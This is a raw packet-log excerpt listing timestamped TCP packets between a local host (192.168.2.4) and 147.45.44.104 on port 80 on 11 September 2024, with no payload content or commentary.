Sep 11, 2024 16:22:17.808851004 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.808856010 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.808868885 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.808880091 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.808881044 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.808891058 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.808898926 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.808902979 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.808921099 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.808934927 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.809027910 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809039116 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809048891 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809061050 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809068918 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.809072018 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809087992 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.809114933 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.809118032 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.809179068 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809190035 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809201002 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809211969 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809220076 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.809230089 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809238911 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.809240103 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809250116 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809262037 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809262991 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.809272051 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809283018 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809292078 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.809294939 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809308052 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809319019 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809319019 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.809330940 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809336901 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.809341908 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809365034 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.809387922 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.809514046 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809533119 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809544086 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809552908 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.809581995 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.809628010 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809638977 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809648991 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809660912 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809669018 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.809673071 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809686899 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.809714079 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.809850931 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809861898 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809873104 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809899092 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.809906960 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.809911966 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809921980 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809931993 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809942961 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.809951067 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.809979916 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.810008049 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.810018063 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.810029030 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.810049057 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.810060024 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.810288906 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.810300112 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.810311079 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.810333014 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.810345888 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.810354948 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.810355902 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.810367107 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.810379028 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.810384989 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.810396910 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.810422897 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.810492992 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.810503960 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.810513973 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.810527086 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.810533047 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.810537100 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.810548067 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.810554028 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.810565948 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.810570002 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.810576916 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.810587883 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.810591936 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.810597897 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.810609102 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.810620070 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.810620070 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.810631037 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.810647964 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.810664892 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.811194897 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811214924 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811227083 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811237097 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811244965 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.811249018 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811259031 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811269999 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811274052 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.811283112 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811300039 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.811309099 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811316967 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.811320066 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811330080 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811342001 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811347961 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.811352968 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811366081 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811373949 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.811408997 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.811417103 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811428070 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811439037 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811450005 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811455011 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.811461926 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811479092 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.811503887 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.811520100 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811531067 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811542988 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811564922 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.811575890 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.811639071 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811650038 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811661005 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811683893 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.811703920 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.811709881 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811721087 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811731100 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811741114 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.811743975 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811755896 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811758041 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.811769962 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811775923 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.811800003 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.811805964 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811817884 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811839104 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.811860085 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.811892033 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811903000 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811913013 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.811923027 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.811944008 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.812011003 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812021971 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812033892 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812042952 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.812066078 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.812165022 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812176943 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812186956 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812196970 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.812197924 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812210083 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812221050 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.812226057 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812238932 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812254906 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812258005 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.812267065 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812273026 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.812277079 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812287092 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812294006 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.812298059 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812309027 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812319994 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812321901 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.812336922 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812347889 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812349081 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.812361956 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.812361956 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812388897 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.812397003 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812407970 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812412024 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.812417984 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812429905 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812437057 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.812441111 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812452078 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812462091 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.812486887 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.812513113 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812524080 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812535048 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812546015 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812551975 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.812556028 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812567949 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812577963 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812577963 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.812581062 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.812589884 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812601089 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812602043 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.812611103 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.812618971 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.812633991 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.812655926 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.812999964 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.813011885 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.813030958 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.813040972 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.813051939 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.813057899 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.813088894 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.816562891 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.816576004 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.816586971 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.816598892 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.816610098 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.816612959 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.816622019 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.816633940 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.816636086 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.816659927 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.816675901 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.816865921 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.816879988 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.816893101 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.816910982 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.816922903 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.816942930 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.816953897 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.816963911 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.816973925 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.816977024 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.816998959 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.817022085 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.817060947 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.817073107 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.817082882 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.817101955 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.817122936 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.817152023 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.817162991 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.817173004 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.817183971 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.817188978 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.817197084 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.817210913 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.817214012 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.817233086 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.817254066 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.817276955 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.817286968 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.817296028 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.817312956 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.817321062 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.817329884 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.817341089 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.817358017 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.817994118 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.818005085 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.818015099 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.818041086 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.818049908 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.818059921 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.818061113 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.818073034 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.818083048 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.818099022 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.818113089 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.818145037 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.818155050 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.818185091 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.818200111 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.818350077 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.818361998 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.818392992 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.818399906 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.818411112 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.818433046 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.818454027 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.818542004 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.818552017 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.818583965 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.818691969 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.818732977 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.818864107 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.818881035 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.818897963 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.818905115 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.818909883 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.818914890 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.818923950 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.818937063 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.818939924 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.818948030 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.818948030 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.818967104 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.818979025 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.818989038 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.818989992 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.819010019 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.819025040 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.819025993 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.819056988 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.819140911 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.819152117 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.819163084 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.819174051 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.819190025 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.819197893 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.819197893 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.819221973 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.819490910 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.819502115 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.819511890 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.819531918 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.819533110 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.819545031 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.819550037 CEST	49734	80	192.168.2.4	147.45.44.104
